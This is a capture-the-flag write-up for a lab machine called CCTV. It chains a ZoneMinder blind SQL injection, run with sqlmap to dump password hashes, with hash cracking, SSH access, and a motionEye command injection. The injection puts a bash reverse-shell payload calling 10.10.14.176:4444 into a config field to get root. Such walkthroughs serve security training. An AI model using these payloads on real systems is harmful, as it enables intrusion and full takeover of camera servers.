Summary #
CCTV starts with a ZoneMinder web app vulnerable to CVE-2024-51482, a blind SQL injection used via sqlmap to dump credential hashes from the Users table. Cracking one hash with hashcat gives SSH access as mark. Local enumeration reveals a motionEye instance bound to localhost, whose admin password is recovered from a config file. After forwarding the port, CVE-2025-60787, a command injection in Motion’s config fields, is exploited by bypassing client-side validation and injecting a reverse shell payload, which executes as root when Motion restarts, yielding full root access.
nmap #
nmap finds two open TCP ports, SSH (22) and HTTP (80):
sudo nmap -sC -sV -vv -oA nmap_scan/nmap_results 10.129.4.212
-sCfor defaults scripts-sVenumerate version-vvdouble verbose-oAoutput in all formats
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 76:1d:73:98:fa:05:f7:0b:04:c2:3b:c4:7d:e6:db:4a (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDZ15GCLPzC4gTM0nqzpUbr/2L77bM1C9sbBecivQPX/KcKvJrP88peCJXwTug7T/EORHr7M7JeHtMQJ6hYihFA=
| 256 e3:9b:38:08:9a:d7:e9:d1:94:11:ff:50:80:bc:f2:59 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKitA8JIvpUZg84xCOEAX17k1W9xZDviZdnUrcoPRreb
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.58
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://cctv.htb/
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Add cctv.htb to /etc/hosts
Web - TCP 80 #
The website has some information about the project, but not much more:

On the top there is a link to Staff Login leading to cctv.htb/zm/

I try sample login to capture the request with admin:admin expecting nothing… and it worked:

Shell as mark #
SQLi #
Googling for zoneminder v1.37.63 cve returns references to CVE-2024-51482:
{{ alert }} ZoneMinder is a free, open source closed-circuit television software application. ZoneMinder v1.37.* <= 1.37.64 is vulnerable to boolean-based SQL Injection in function of web/ajax/event.php. This is fixed in 1.37.65. {{ /alert }}
There is PoC in THIS advisory.
I tested it with sqlmap, added cookie parameter since the site is behind login:
└─$ sqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' --cookie="ZMSESSID=ubqvuqbhcbdgoj4pqara90j3ql"
[*] starting @ 03:30:33 /2026-03-10/
<SNIP>
sqlmap identified the following injection point(s) with a total of 106 HTTP(s) requests:
---
Parameter: tid (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: view=request&request=event&action=removetag&tid=1 AND (SELECT 1951 FROM (SELECT(SLEEP(5)))yoov)
---
[03:32:34] [INFO] the back-end DBMS is MySQL
[03:32:34] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.58
back-end DBMS: MySQL >= 5.0.12
<SNIP>
[*] ending @ 03:32:35 /2026-03-10/
With the vulnerability confirmed I can check what is inside:
First, get database names:
└─$ sqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' --cookie="ZMSESSID=ubqvuqbhcbdgoj4pqara90j3ql" --dbs
<SNIP>
---
Parameter: tid (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: view=request&request=event&action=removetag&tid=1 AND (SELECT 1951 FROM (SELECT(SLEEP(5)))yoov)
---
<SNIP>
[03:38:58] [INFO] retrieved: information_schema
[03:40:06] [INFO] retrieved: performance_schema
[03:41:12] [INFO] retrieved: zm
available databases [3]:
[*] information_schema
[*] performance_schema
[*] zm
The relevant database is zm, get the tables:
└─$ sqlmap -u 'http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1' --cookie="ZMSESSID=ubqvuqbhcbdgoj4pqara90j3ql" -D zm --tables
<SNIP>
Database: zm
[43 tables]
+----------------------+
| Config |
| ControlPresets |
| Controls |
| Devices |
| Event_Data |
| Event_Summaries |
| Events_Archived |
| Events_Day |
| Events_Hour |
| Events_Month |
| Events_Tags |
| Events_Week |
| Filters |
| Frames |
| Groups_Monitors |
| Groups_Permissions |
| Manufacturers |
| Maps |
| Models |
| MonitorPresets |
| Monitor_Status |
| Monitors |
| Monitors_Permissions |
| MontageLayouts |
| Object_Types |
| Reports |
| Server_Stats |
| Servers |
| Sessions |
| Snapshots |
| Snapshots_Events |
| States |
| Stats |
| Tags |
| TriggersX10 |
| User_Preferences |
| Users |
| ZonePresets |
| Zones |
| Events |
| Groups |
| Logs |
| Storage |
+----------------------+
[*] ending @ 04:14:17 /2026-03-10/
From all this the Users table seems like the most important:
└─$ sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" -D zm -T Users -C Username,Password --dump --batch --cookie="ZMSESSID=j3se70e3m5qlho2hpspg9646tu"
<SNIP>
Database: zm
Table: Users
[3 entries]
+------------+--------------------------------------------------------------+
| Username | Password |
+------------+--------------------------------------------------------------+
| superadmin | $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm |
| mark | $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. |
| admin | $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m |
+------------+--------------------------------------------------------------+
DB #
With password hashes extracted I can attempt to crack them:
└─$ hashcat -m 3200 password.hash ~/Tools/rockyou.txt
<SNIP>
$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.:opensesame
<SNIP>
After a while it finished leaving me with credentials for mark:opensesame I can use to SSH in:
└─$ ssh mark@10.129.2.87
mark@cctv:~$ ls
mark@cctv:~$ ls /home
mark sa_mark
User flag was not there, must be in sa_mark.
Mark can not run sudo:
mark@cctv:~$ sudo -l
[sudo] password for mark:
Sorry, user mark may not run sudo on cctv.
With this path closed move to service enumeration:
mark@cctv:~$ ss -tuln
Netid State Recv-Q Send-Q Local Address:Port
udp UNCONN 0 0 127.0.0.54:53
udp UNCONN 0 0 127.0.0.53%lo:53
udp UNCONN 0 0 0.0.0.0:68
tcp LISTEN 0 4096 127.0.0.1:7999
tcp LISTEN 0 4096 127.0.0.1:1935
tcp LISTEN 0 4096 127.0.0.54:53
tcp LISTEN 0 4096 127.0.0.53%lo:53
tcp LISTEN 0 151 127.0.0.1:3306
tcp LISTEN 0 4096 127.0.0.1:9081
tcp LISTEN 0 128 127.0.0.1:8765
tcp LISTEN 0 4096 127.0.0.1:8888
tcp LISTEN 0 70 127.0.0.1:33060
tcp LISTEN 0 4096 127.0.0.1:8554
tcp LISTEN 0 4096 0.0.0.0:22
tcp LISTEN 0 511 *:80
tcp LISTEN 0 4096 [::]:22
There are couple, the port 8765 ended up being the prize, it is running motionEye/0.43.1b4:
mark@cctv:~$ curl -v http://127.0.0.1:8765
* Trying 127.0.0.1:8765...
* Connected to 127.0.0.1 (127.0.0.1) port 8765
<SNIP>
< Server: motionEye/0.43.1b4
<SNIP>
Looking into this service I end up here:
mark@cctv:~$ cat /etc/systemd/system/motioneye.service
[Unit]
Description=motionEye Server
After=network.target local-fs.target remote-fs.target
[Service]
User=root
RuntimeDirectory=motioneye
LogsDirectory=motioneye
StateDirectory=motioneye
ExecStart=/usr/local/bin/meyectl startserver -c /etc/motioneye/motioneye.conf
Restart=on-abort
[Install]
WantedBy=multi-user.target
With a reference to a config file in this folder:
mark@cctv:~$ ls /etc/motioneye/
camera-1.conf motion.conf motioneye.conf
One of which contained an admin password:
mark@cctv:~$ cat /etc/motioneye/motion.conf
# @admin_username admin
# @normal_username user
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
# @lang en
# @enabled on
# @normal_password
setup_mode off
webcontrol_port 7999
webcontrol_interface 1
webcontrol_localhost on
webcontrol_parms 2
camera camera-1.conf
Root #
Port Forwarding #
The motionEye web UI is only accessible locally. I forwarded the port to expose it on my machine:
└─$ ssh -L 8765:127.0.0.1:8765 mark@10.129.2.87
Browsing to http://127.0.0.1:8765 got me the motionEye login page.

Login with the recovered admin hash.

CVE-2025-60787 #
{{ alert }} MotionEye v0.43.1b4 and before is vulnerable to OS Command Injection in configuration parameters such as image_file_name. Unsanitized user input is written to Motion configuration files, allowing remote authenticated attackers with admin access to achieve code execution when Motion is restarted. {{ /alert }}
CVE-2025-60787 is a command injection vulnerability. User-supplied values in configuration fields are written directly into Motion’s config file without sanitization. When Motion restarts, it interprets these values as shell-expandable strings executing any injected commands as the user running the process.
Step 1 — Bypass client-side validation
motionEye implements input validation purely on the client side via JavaScript. The validation function can be overridden directly from the browser console:
- Open browser console (
F12 → Console tab) - Override the function to always return true:
configUiValid = function() { return true; };
This bypasses all frontend input restrictions, allowing arbitrary values to be saved into the Motion configuration file.
Step 2 — Inject reverse shell payload
Navigate to Camera Settings → Still Images and configure:
- Capture Mode:
Interval Snapshots - Interval:
10 - Image File Name:
$(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/10.10.14.176/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S
Click Apply. Within 10 seconds, Motion reloads the config and executes the payload.

Result #
A root shell is received on the listener:
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.176] from (UNKNOWN) [10.129.2.87] 42732
bash: cannot set terminal process group (3646): Inappropriate ioctl for device
bash: no job control in this shell
root@cctv:/etc/motioneye# id
id
uid=0(root) gid=0(root) groups=0(root)
root@cctv:/etc/motioneye# cat /root/root.txt
cat /root/root.txt
ad4e88ac812af8cbb441a783e1d9e899
root@cctv:/etc/motioneye# ls /home/sa_mark
ls /home/sa_mark
SecureVision Staff Announcement.pdf
user.txt
root@cctv:/etc/motioneye# cat /home/sa_mark/user.txt
cat /home/sa_mark/user.txt
45a6694289b9ab6a69ee9475bb1c7b1d
root@cctv:/etc/motioneye#